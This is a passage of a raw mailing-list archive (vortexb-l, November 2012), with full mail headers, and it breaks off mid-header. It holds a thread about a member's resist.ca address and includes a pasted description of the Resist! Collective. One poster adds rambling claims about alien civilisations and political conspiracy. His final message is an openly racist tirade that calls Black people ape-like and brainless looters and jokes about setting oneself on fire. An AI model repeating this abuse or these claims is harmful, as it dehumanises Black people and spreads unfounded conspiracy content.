b=U9vl07KXKXg7gvF2AJTGZPQ3jo+6tPx8u6jWFBUSYU3/fgON3/xHSax7YJZ43TMno E4xj8I5URmMyUZsD8JuTEgA1w+Q586m53Ppdf3OAi+ZDnBSoo6Im1/NmPSzFD8CwAO 3GK7HUKiIiA095FdHshtuOpMAM/JrtQWFLAAMmjE= X-AOL-SCOLL-SCORE: 0:2:228244112:93952408 X-AOL-SCOLL-URL_COUNT: 0 x-aol-sid: 3039ac1d294a509ea8d22eca Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4586 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 827 Say, I was wondering if "g" in grot@resist.ca stands for Global?. and "rot" stands for the diseases that grow as a result of the breakdown and/or decompostion of tissues in plants & animals, OR maybe all that "rot" is just nonsense?. Well, I can only say that if this very natural process by which bacteria, viruses, & micororganisms are not a means by which more complex lifeforms form, then we human beings wouldn't be here (more or less). As difficult as it may be for most everyday normal modern day people to accept that they're much more than just a bunch'a rot, you *know* deep down inside that life had to begin somewhere,,, and so, lets at least try to move on, shall we?. By accepting that the simplest of lifeforms began billions of years ago in aprimordial goop, and are still at it in this modern human age of technology, you can start the healing process of having had to have participated in that disgustingly gross rather hideous insideous even, rudimentary processes that has enabled us be here. By accepting that all that icky yukky stuff, you'll be allowing yourself to take that first crucial baby step in developing a more full appreciation for the unbelievable progress that has been thoroughly accomplished by the extremely advanced civilizations now operating thruout the space above you, and well beyond. As difficult as it might be to even consider the possibility of *them* being up there and/or literally right in front of you at this very moment, you might first consider how you arrived at the "beliefs" you now hold so very dear to your very being or existence. For me, I now "know" what I once only began to think about, and now whenever I am overwhelmed with a feeling of insignificance & helplessness, or that I'll never actually accomplish anything in this naturally limited dibilitating world (other than what might typically be expected), I simply take some comfort in knowing that what I once had so much trouble with, is now so easy to understand, that it's almost a joke. (Not so) Simply put, it ALL comes down to a matter of "not" having happened, and/or won't in the future, the way you tend to think. "Beliefs" are essentially only derived from our very own natural tendencies and/or our Inability to "know" that, from which is indeed, *in reality*, so very much more, and far beyond. << Oh yeah -- there is a very pro-bourgeois bias with these people, whatever they squabble about amongst themselves. -- grok. >> From vortexb-l-request@eskimo.com Sat Nov 10 14:58:37 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id qAAMwZVK024878; Sat, 10 Nov 2012 14:58:35 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id qAAMwWoZ024866; Sat, 10 Nov 2012 14:58:32 -0800 Resent-Date: Sat, 10 Nov 2012 14:58:32 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-ID: <509EDC0E.3050506@resist.ca> Date: Sat, 10 Nov 2012 17:58:22 -0500 From: grok User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:15.0) Gecko/20120907 Thunderbird/15.0.1 MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: Whence Willard? (fwd) References: <1a36.2d1fffda.3dd002d2@aol.com> In-Reply-To: <1a36.2d1fffda.3dd002d2@aol.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4587 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 828 On 12/11/10 14:19, LORENHEYER@aol.com wrote: > Say, I was wondering if "g" in grot@resist.ca stands for Global?. and "rot" > stands for the diseases that grow as a result of the breakdown and/or > decompostion of tissues in plants & animals, OR maybe all that "rot" is just > nonsense?. Well, I can only say that if this very natural process by which > bacteria, viruses, & micororganisms are not a means by which more complex > lifeforms form, then we human beings wouldn't be here (more or less). WTF. And it's 'grok'. And you should know where it comes from. -- grok. > As difficult as it may be for most everyday normal modern > day people to accept that they're much more than just a bunch'a rot, you > *know* deep down inside that life had to begin somewhere,,, and so, lets at > least try to move on, shall we?. By accepting that the simplest of lifeforms > began billions of years ago in aprimordial goop, and are still at it in this > modern human age of technology, you can start the healing process of having > had to have participated in that disgustingly gross rather hideous > insideous even, rudimentary processes that has enabled us be here. > > By accepting that all that icky yukky stuff, you'll be > allowing yourself to take that first crucial baby step in developing a more > full appreciation for the unbelievable progress that has been thoroughly > accomplished by the extremely advanced civilizations now operating thruout the > space above you, and well beyond. As difficult as it might be to even > consider the possibility of *them* being up there and/or literally right in front > of you at this very moment, you might first consider how you arrived at the > "beliefs" you now hold so very dear to your very being or existence. > > For me, I now "know" what I once only > began to think about, and now whenever I am overwhelmed with a feeling of > insignificance & helplessness, or that I'll never actually accomplish anything in > this naturally limited dibilitating world (other than what might typically > be expected), I simply take some comfort in knowing that what I once had so > much trouble with, is now so easy to understand, that it's almost a joke. > > (Not so) Simply put, it ALL comes down to a matter of > "not" having happened, and/or won't in the future, the way you tend to think. > "Beliefs" are essentially only derived from our very own natural > tendencies and/or our Inability to "know" that, from which is indeed, *in reality*, > so very much more, and far beyond. > > << Oh yeah -- there is a very pro-bourgeois bias with these people, > whatever they squabble about amongst themselves. > > -- grok. >> > > > > From vortexb-l-request@eskimo.com Sat Nov 10 15:18:06 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id qAANI4tD028676; Sat, 10 Nov 2012 15:18:04 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id qAANI4i0028669; Sat, 10 Nov 2012 15:18:04 -0800 Resent-Date: Sat, 10 Nov 2012 15:18:04 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=Gd1CB8C2TBsrVhRUKsAc0OOqy8JzV7slzdF6vOJe6Vs=; b=x8DoYQCxHFLeREVBZfSMuxg9fcieiI19AWMWGOSVyDmGeyT2SJIyVddkni8rrl/7nZ e+jYL05cJ9W9ClH5KobIBNTqaubI8bPlwFNoAto5SVBZX6TF2xkar8yM377WaTTkbzL6 Gz79dj7kJwbFnNLua6CXZ54eXZazF1+4mtO7w4Asy70SgypaZW6O79UqxOjHO/3NVKZ9 4wEOXZYV37BNvWuxJmvmMGLnjc+4q3IAAPCyDWgizhOVRd8Wm24rBLVwEoOFYKjCEDe6 tguBqnWCQOIvoY/eGVS0KmQvaUwURHMh2qDk1U2RP/8oOQrZLxXJ19qGd44CRpdHwXfv zmGA== MIME-Version: 1.0 In-Reply-To: <509EDC0E.3050506@resist.ca> References: <1a36.2d1fffda.3dd002d2@aol.com> <509EDC0E.3050506@resist.ca> Date: Sat, 10 Nov 2012 18:18:03 -0500 Message-ID: Subject: Re: [VoB]:Re: Whence Willard? (fwd) From: Terry Blanton To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Resent-Message-ID: <3Si3SD.A.z_G.sCunQB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4588 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 829 On Sat, Nov 10, 2012 at 5:58 PM, grok wrote: > WTF. And it's 'grok'. And you should know where it comes from. Look! You have your own wiki entry: http://en.wikipedia.org/wiki/Grok From vortexb-l-request@eskimo.com Sat Nov 10 15:41:10 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qAANf8fJ024532; Sat, 10 Nov 2012 15:41:08 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qAANf7E6024522; Sat, 10 Nov 2012 15:41:07 -0800 Resent-Date: Sat, 10 Nov 2012 15:41:07 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-ID: <509EE608.3080200@resist.ca> Date: Sat, 10 Nov 2012 18:40:56 -0500 From: grok User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:15.0) Gecko/20120907 Thunderbird/15.0.1 MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: Whence Willard? (fwd) References: <1a36.2d1fffda.3dd002d2@aol.com> <509EDC0E.3050506@resist.ca> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4589 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 830 On 12/11/10 18:18, Terry Blanton wrote: > On Sat, Nov 10, 2012 at 5:58 PM, grok wrote: > >> WTF. And it's 'grok'. And you should know where it comes from. > Look! You have your own wiki entry: > > http://en.wikipedia.org/wiki/Grok jejeje. I *KNOW*... !! ;D -- grok. From vortexb-l-request@eskimo.com Mon Nov 12 09:35:20 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id qACHZIAj002694; Mon, 12 Nov 2012 09:35:18 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id qACHZEno002681; Mon, 12 Nov 2012 09:35:14 -0800 Resent-Date: Mon, 12 Nov 2012 09:35:14 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: LORENHEYER@aol.com Message-ID: <2fca3.1cd58331.3dd28d51@aol.com> Date: Mon, 12 Nov 2012 12:35:13 -0500 (EST) Subject: Re: [VoB]:Re: Whence Willard? (fwd) To: vortexb-l@eskimo.com MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: AOL 4.0 for Windows sub 29 X-Originating-IP: [63.3.14.130] x-aol-global-disposition: S X-SPAM-FLAG: YES DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mx.aol.com; s=20110426; t=1352741714; bh=u2pTukVoI4BRtnSFklISgi9vvuckLjFu+ODKxHPmcC8=; h=From:To:Subject:Message-ID:Date:MIME-Version:Content-Type; b=nlFuVjCPEdu2PaSf67VH4QSEu+RHvy3qMMJRpjeoh8mcKrKiAVWNGeBqcCMbuSfvE WKR/s7ej5InTRAmWOBmyLM9xbn5wgcv0sJwYwhxoHSUnbXaIIK0wlEqhoZE2MqF4aV D3lms37DvLJv3bHmOV1ohZyl0ZKkRV+gfCKRmjXI= X-AOL-SCOLL-SCORE: 0:2:362399072:93952408 X-AOL-SCOLL-URL_COUNT: 0 X-AOL-REROUTE: YES x-aol-sid: 3039ac1d290850a13352159b Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4590 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 831 Yeah whatever... decomposing rot, or crumbling rock, it's all the same thing. I want to know what "resist.ca " means.... Are you having trouble with California due to the abundance or availability of pot ?. You know, as pot becomes more accepted thruout the country, there's going to be many more slow witted idiots walking around stoned, and wouldn't hesitate to support the likes of Mr Crack-King himself Obama. BO likes the idea of watching the people of this country under the influence of drugs and/or his controll. One thing however about Obama's future plan to drug everyone up in this country, til they're as low as they can be,,, there's going to be phenomenally more accidents, which of course will make everything become extremely expensive (excluding him). Aside from this, I'm thinking maybe that you want to resist california for some other reason, because it's the Sunshine State, and all that sun is very bad, and/or causes skin cancer?. Might I be correct in assuming you're very sensitive to sunlight, and/or you've seen too much?... If that's the case, use very dark sunglasses, wear a veil or scarf around your face, wrap a white towel around your head, and/or dress in a white robe... this should help. << WTF. And it's 'grok'. And you should know where it comes from. Look! You have your own wiki entry: http://en.wikipedia.org/wiki/Grok >> From vortexb-l-request@eskimo.com Mon Nov 12 10:09:42 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id qACI9eYO011465; Mon, 12 Nov 2012 10:09:40 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id qACI9dUg011450; Mon, 12 Nov 2012 10:09:39 -0800 Resent-Date: Mon, 12 Nov 2012 10:09:39 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=9HkCMchxiwlUiJ39Pmg/fp+ggU0XO2mgydZWAA6uUac=; b=fJRMZVCvQ0zit4Y04MHaYnmIQgFoZjU31PXLw8Gk+nitBdhiBaTKZyfUJuU6bqwsfB /orQ93zzpbJhvVzDJ1wjNG5UDB/jwb1/q1g2dKNEnzkZK3W4VGTLzQzY6Zsq0tHNrq8l 8XuAfT2JH6xTERMOEp16WwC/mrVNzBrtsdg7giNW6asmMtRJHhLTPB/SjO3nafTENfSF KSZQkNsuG37rzV0h3joxA3kEpPr3APWS1nwX6Z8hj5Cibz2y6qFaAP1OYk73zWkJZ7/r v3kcXojw3e6cIbwIMV6/N8jwVJJWJmtvOvDqX5yrhqSzmrWJvNanOaTRQgumFenE2fCj upOg== MIME-Version: 1.0 Date: Mon, 12 Nov 2012 13:09:38 -0500 Message-ID: From: Terry Blanton To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4591 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:resist.ca Status: O X-Status: X-Keywords: X-UID: 832 About the Resist! Collective The Resist! Collective is a group of Vancouver-based activists working to provide communications and technical services, information and education to the greater activist community. The Resist! Collective (Resist!) and resist.ca project grew out of the old Vancouver TAO collective. We first set up our own server in the summer of 2000 and started letting people know about our email and list services in May of 2002. We currently host over 500 email accounts, lists for tens of thousands of subscribers and host dozens of domains. The collective is founded on anarchist principles and makes decisions using consensus. An outline of the Resist! Collective's reason for existance and organizational philosophy can be found in our Mission Statment. An outline of our shared political beliefs can be found in our Basis of Unity. Resist! is made up of 5-10 people at any given time and is always looking for new members who want to help with the resist.ca project. Communications Security While we can not guarantee absolutely secure communications - we have tried to set up services in such a way that some of the dominant e-security concerns are addressed. To that end, user accounts are distributed based on organizational affiliation trust model. We've tried to make things as easy as possible for our users and we're here to help if you get stuck. Please see the FAQ for more information on security. Members of the Resist! Collective exercise discretion and security in their work as system administrators and as activists, and are committed to working with similar organizations in order to further strengthen active communities as a whole. If you wish to communicate with us using GPG/PGP (GNU PGP/Pretty Good Privacy), please use our PGP key. Please be sure to include your public key for us if you wish a response to be encrypted back to you. Mutual Aid Providing a wide range of communications services like the Resist! Collective does, is expensive and labour intensive. The cost of hardware, bandwidth and the need to pay for sustainable labour continues to grow as we provide more and more people and organizations with email, lists and other services. Donations from anyone and of any amount are greatly appreciated. We can't do it without you. System users (those with email accounts or lists etc) are asked to make a financial contribution (if at all possible) after having their accounts for three months and then again on an annual basis in the spirit of building mutual aid relationships. People living in countries with currencies that are lower valued than the Canadian dollar should contribute to local projects. Let us know if you are in this situation. Conversely, if you live in countries with a highly valued currency, please consider making a larger donation. It'll go further here. American funds are welcomed. If you you would like more information on making a financial contribution, please visit the contributions page. If you wish to contribute labour to this project, the best way is to fill out an application for an account and indicate in the application how you can help. For Further Info If you have questions about the Resist! Collective or the resist.ca project, please read the FAQ before trying to contact us. If you are unable to find the answers to your questions there, please email us. Contact addresses are listed at the bottom of the FAQ. From vortexb-l-request@eskimo.com Mon Nov 12 10:20:17 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qACIKGL5024169; Mon, 12 Nov 2012 10:20:16 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qACIKFut024159; Mon, 12 Nov 2012 10:20:15 -0800 Resent-Date: Mon, 12 Nov 2012 10:20:15 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-ID: <50A13DD0.4010609@resist.ca> Date: Mon, 12 Nov 2012 13:20:00 -0500 From: grok User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:15.0) Gecko/20120907 Thunderbird/15.0.1 MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: [VoB]:resist.ca References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4592 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 833 On 12/11/12 13:09, Terry Blanton wrote: > About the Resist! Collective > > The Resist! Collective is a group of Vancouver-based activists working > to provide communications and technical services, information and > education to the greater activist community. The Resist! Collective > (Resist!) and resist.ca project grew out of the old Vancouver TAO > collective. .... Any particular reason you're doing this, Blanton..? -- grok. From vortexb-l-request@eskimo.com Mon Nov 12 10:41:17 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id qACIfGm7019417; Mon, 12 Nov 2012 10:41:16 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id qACIfEWW019405; Mon, 12 Nov 2012 10:41:14 -0800 Resent-Date: Mon, 12 Nov 2012 10:41:14 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=UzOIFBQvKp5WxQIQWBbDaZxFMdgB9zLqLx+28PWpJGY=; b=u4X8sV2ZphzDKxk0+KvPY+1Q/VN0FXabDPEeszrNBfZsLk1kRvgmTP40/f6OpuMWq0 VSNRF0wZFssN80tGZ/86X5DHpswCzRMHMtH1yX6n26Mi4o43MrHEO527A6DqBp1NhtAy n5qmNoLecW1jQgTm25JN7SG59zqXQOWw0Qy+OcRdxKDAH2PFn4jjyRhmazMc4XsMd7Eu P0bOA4VTSurUSbrOL9NQlaWi/gK/ZqfgR5Xejnul62l+ZZvk2CK8IznZs/scDBWae3fm X9fG8ACM4g9szVXz6rzOvFEcf/1mltuyT6IMfOHuRuBVQxVMf37r4usefKGvnEGahKSP PPLQ== MIME-Version: 1.0 In-Reply-To: <50A13DD0.4010609@resist.ca> References: <50A13DD0.4010609@resist.ca> Date: Mon, 12 Nov 2012 13:41:13 -0500 Message-ID: Subject: Re: [VoB]:resist.ca From: Terry Blanton To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Resent-Message-ID: <9UjqvC.A.IvE.JLUoQB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4593 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 834 On Mon, Nov 12, 2012 at 1:20 PM, grok wrote: > Any particular reason you're doing this, Blanton..? For Loren's benefit. He thought you were from CA (California). From vortexb-l-request@eskimo.com Mon Nov 12 12:04:09 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qACK4860015924; Mon, 12 Nov 2012 12:04:08 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qACK470U015914; Mon, 12 Nov 2012 12:04:07 -0800 Resent-Date: Mon, 12 Nov 2012 12:04:07 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-ID: <50A15624.50608@resist.ca> Date: Mon, 12 Nov 2012 15:03:48 -0500 From: grok User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:15.0) Gecko/20120907 Thunderbird/15.0.1 MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: [VoB]:resist.ca References: <50A13DD0.4010609@resist.ca> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4594 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 835 On 12/11/12 13:41, Terry Blanton wrote: > On Mon, Nov 12, 2012 at 1:20 PM, grok wrote: > >> Any particular reason you're doing this, Blanton..? > For Loren's benefit. He thought you were from CA (California). > Anyone in the World can have an account there. -- grok. From vortexb-l-request@eskimo.com Mon Nov 12 12:30:05 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qACKU3c2020888; Mon, 12 Nov 2012 12:30:03 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qACKU2cK020879; Mon, 12 Nov 2012 12:30:02 -0800 Resent-Date: Mon, 12 Nov 2012 12:30:02 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=ESsxgXPdWARH/JZY2kXJLfu0yQsXiYo9K5Csy/QLbjg=; b=Qrl44oqgNCILe+hvDe1QBJtb55l4lFk9yiqgmOtihuFaiBzq2KAPfX9JTbrfTZPTBJ S12yLlQrCKykfEB3ZM1JsMkgO66QQ+8Kdndy6BV5Ib5An2kDj5nViBfWJvz1dTc0gHn1 YsjnE85wBFQHhb2p6GbDbbbbxW7D8t5b6eclP6BECOSTUv+cKp1FzYLB5z04uE0DhOip 9ZZN3wniiyuub7tUdVLxQ3bUYEPFcShoOgwcJ0COXqVLVY0lr0enVaSMMsXjXUpYdHqQ soa4gaV0bwLXAxxYXzYY34EpnjePPOJzXR89X1wowyhefh1YLzjUHTyE21yq/IA7rY6f 1h0Q== MIME-Version: 1.0 In-Reply-To: <50A15624.50608@resist.ca> References: <50A13DD0.4010609@resist.ca> <50A15624.50608@resist.ca> Date: Mon, 12 Nov 2012 15:30:02 -0500 Message-ID: Subject: Re: [VoB]:resist.ca From: Terry Blanton To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=047d7b66f6098360f104ce522a32 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4595 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 836 --047d7b66f6098360f104ce522a32 Content-Type: text/plain; charset=ISO-8859-1 I just copied what was on the "About" tab. On Mon, Nov 12, 2012 at 3:03 PM, grok wrote: > On 12/11/12 13:41, Terry Blanton wrote: > >> On Mon, Nov 12, 2012 at 1:20 PM, grok wrote: >> >> Any particular reason you're doing this, Blanton..? >>> >> For Loren's benefit. He thought you were from CA (California). >> >> > Anyone in the World can have an account there. > > -- grok. > > > --047d7b66f6098360f104ce522a32 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable I just copied what was on the "About" tab.


On Mon, Nov 12, 2012 at 3:03 PM, gro= k <grok@resist.ca> wrote:
On 1= 2/11/12 13:41, Terry Blanton wrote:
On Mon, Nov 12, 2012 at 1:20 PM, grok <grok@resist.ca> wrote:

Any particular reason you're doing this, Blanton..?
For Loren's benefit. =A0He thought you were from CA (California).


Anyone in the World can have an account there.

-- grok.



--047d7b66f6098360f104ce522a32-- From vortexb-l-request@eskimo.com Tue Nov 13 11:36:45 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id qADJah1i021522; Tue, 13 Nov 2012 11:36:43 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id qADJaeka021511; Tue, 13 Nov 2012 11:36:40 -0800 Resent-Date: Tue, 13 Nov 2012 11:36:40 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: LORENHEYER@aol.com Message-ID: <46cac.1c80a975.3dd3fb47@aol.com> Date: Tue, 13 Nov 2012 14:36:40 -0500 (EST) Subject: Re: [VoB]:resist.ca To: vortexb-l@eskimo.com MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: AOL 4.0 for Windows sub 29 X-Originating-IP: [63.3.14.130] x-aol-global-disposition: S X-SPAM-FLAG: YES DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mx.aol.com; s=20110426; t=1352835400; bh=RDbPeWPnskHJa4KMdieYGqTkbiWOJnEQx+J4y2bTZCs=; h=From:To:Subject:Message-ID:Date:MIME-Version:Content-Type; b=GOFJxbBGw43Z4U+D8Fbeh5lNAWBytNlXkKiB0ibFbjNeyKGnrsk/2hjr/0igKpPTF VPoWhD3NN453Yl8nscpRZDN0EUCocRtvmle5UTkEiFfnvnlEHURrZEbDzesPfXIh5n qoj6wGJC17HaVIXEnts6bEFxwyL2aOIa53HFdOHU= X-AOL-SCOLL-SCORE: 0:2:486008704:93952408 X-AOL-SCOLL-URL_COUNT: 0 X-AOL-REROUTE: YES x-aol-sid: 3039ac1d338d50a2a1483d31 Resent-Message-ID: <3tXyq.A.CQF.IFqoQB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4596 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 837 Thanks for clarifying..... I'd like to comment on this, but first, let me just say that now that the out'n out two-bit phony, fake, fraud, of an low-life illegal illegitimate imposter of a slimey slithering snake and/or a wolf in sheeps's clothing, a fox guarding the hen-house, that was once again (and really, what else would you expect?) "fraudulently" re-elected (yeah, whatever) as the President,,, and all "only" to become a Dictator by 2016, if not much sooner! The reason this Dictator remains the so-called President is Because of the mindless obvious shallow superficial illintentioned Black Community (which basically possess a rather small survival brain "only" and/or an extremely Low Mentality with little to no regard for real actual civilized human beings. Basically, anyone who isn't 'For' Blacks or their stealing pilaging looting rioting plundering animal ways, is either a Capitalist, Racist, Whitey and/or someone who wants to have their cranial cavity caved in. Just a reminder to all those who think that being a part of some "movement" is going to work to your advantage, then you don't know how clever the BO emanating from the Whitey House is. The prime directive or goal of any Dictator, and especially this Monkey that has completely duped the Dumb Crack Head Party into believing he's a legitimate human being,,, is to divide & conquer. BO is currently in the process of setting-up and/or shoving aside everyone he deems unfaithful or uncommitted to his cause, and the sooner, the better! .. So, if you really feel the desire belong and/or commit yourself to some worthwhile effort, movement, or cause, you might want to first give some thought as to what you "actually" hope to accomplish. BO's goal basically is to have all his 100% thugly mugly overgrown ape-like muzzleheaded drones become "very" established wherever there's power & money to be controlled. So, if anyone of you are planning on applying for one of these prestigous positions, you might want to first learn how to speak the language. Practice grunting & flairing your nostrils, and flap your lips kind'a like you're licking all over BO's big phony black ass, and then also, you'll need to learn how to walk w/ style, kind'a like you have the attitude of a very highly agitated overgrown ape-like monkey that's missing one of his pimped out virgins, that you forgot about,,, and of course, you'll need to either take a black magic marker, or rub your skin with coal,,, Or, another way would be to dowse yourself in gasoline and start yourself on fire,,, until crispy black... Please remember that IF you choose this method, you'll likely remain very ugly for along time! Thank you. << About the Resist! Collective >> from ; Mr T. From vortexb-l-request@eskimo.com Tue Nov 13 14:29:48 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qADMTkvx019850; Tue, 13 Nov 2012 14:29:46 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qADMTjG3019841; Tue, 13 Nov 2012 14:29:45 -0800 Resent-Date: Tue, 13 Nov 2012 14:29:45 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to 